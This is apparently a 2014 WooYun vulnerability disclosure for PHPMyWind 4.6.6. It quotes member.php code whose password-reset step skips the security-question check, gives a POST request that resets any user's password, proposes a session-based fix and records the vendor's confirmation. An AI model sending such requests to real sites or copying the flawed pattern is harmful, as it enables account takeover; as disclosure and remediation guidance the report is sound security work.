当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057253

漏洞标题:PHPMyWind任意用户密码重置

相关厂商:phpmywind.com

漏洞作者: xfkxfk

提交时间:2014-04-16 10:37

修复时间:2014-07-15 10:37

公开时间:2014-07-15 10:37

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-16: 细节已通知厂商并且等待厂商处理中
2014-04-16: 厂商已经确认,细节仅向厂商公开
2014-04-19: 细节向第三方安全合作伙伴开放
2014-06-10: 细节向核心白帽子及相关领域专家公开
2014-06-20: 细节向普通白帽子公开
2014-06-30: 细节向实习白帽子公开
2014-07-15: 细节向公众公开

简要描述:

PHPMyWind任意用户密码重置

详细说明:

phpmywind 4.6.6
在忘记密码,重置密码时,虽然后安全问题限制,但是在最后修改密码,update时,存在设计缺陷
导致可轻松重置任意用户密码。
文件member.php
在重置密码前有验证问题:

//找回密码
else if($a == 'quesfind')
{
if(!isset($_POST['uname']))
{
header('location:?c=findpwd');
exit();
}
//验证输入数据
if($question == '-1' or
$answer == '')
{
header('location:?c=findpwd');
exit();
}
$r = $dosql->GetOne("SELECT `question`,`answer` FROM `#@__member` WHERE `username`='$uname'");
if($r['question']==0 or !isset($r['answer']))
{
ShowMsg('此账号未填写验证问题,请选择其他方式找回!','?c=findpwd');
exit();
}
else
{
if($question != $r['question'] or $answer != $r['answer'])
{
ShowMsg('您填写的验证问题或答案不符!','?c=findpwd');
exit();
}
}
}


但是在后面更新密码是又没有用到这里的验证。

//设置新密码
else if($a == 'setnewpwd')
{
if(!isset($_POST['uname']))
{
header('location:?c=findpwd');
exit();
}
//初始化参数
$uname = empty($uname) ? '' : $uname;
$password = empty($password) ? '' : md5(md5($password));
$repassword = empty($repassword) ? '' : md5(md5($repassword));
//验证输入数据
if($uname == '' or
$password == '' or
$repassword == '' or
$password != $repassword or
preg_match("/[^0-9a-zA-Z_-]/",$password))
{
header('location:?c=findpwd');
exit();
}
if($dosql->ExecNoneQuery("UPDATE `#@__member` SET password='$password' WHERE username='$uname'"))
{
header("location:?c=login&d=".md5('newpwd'));
exit();
}
}


前面判断了安全问题的答案验证,但是在真正设置更新密码是,却没有用到之前的验证
导致可重置任意用户的密码。
只要直接构造上面的uname和passwod,repassword就可以重置uname用户的密码。

漏洞证明:

这里我们来重置222222的用户名
222222用户注册是的用户名为222222,通过下面的请求后,密码变为111111
构造请求:
链接:http://localhost/phpmywind/member.php
POST:password=111111&repassword=111111&uname=222222&a=setnewpwd
成功重置222222的密码:

wind1.png

修复方案:

在这里验证正确后,可以将答案加到session中,
然后在后面更新密码时,再次验证上面的答案,保证更新密码时的唯一认证。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-04-16 13:41

厂商回复:

感谢指出漏洞!希望提交更多漏洞。

最新状态:

暂无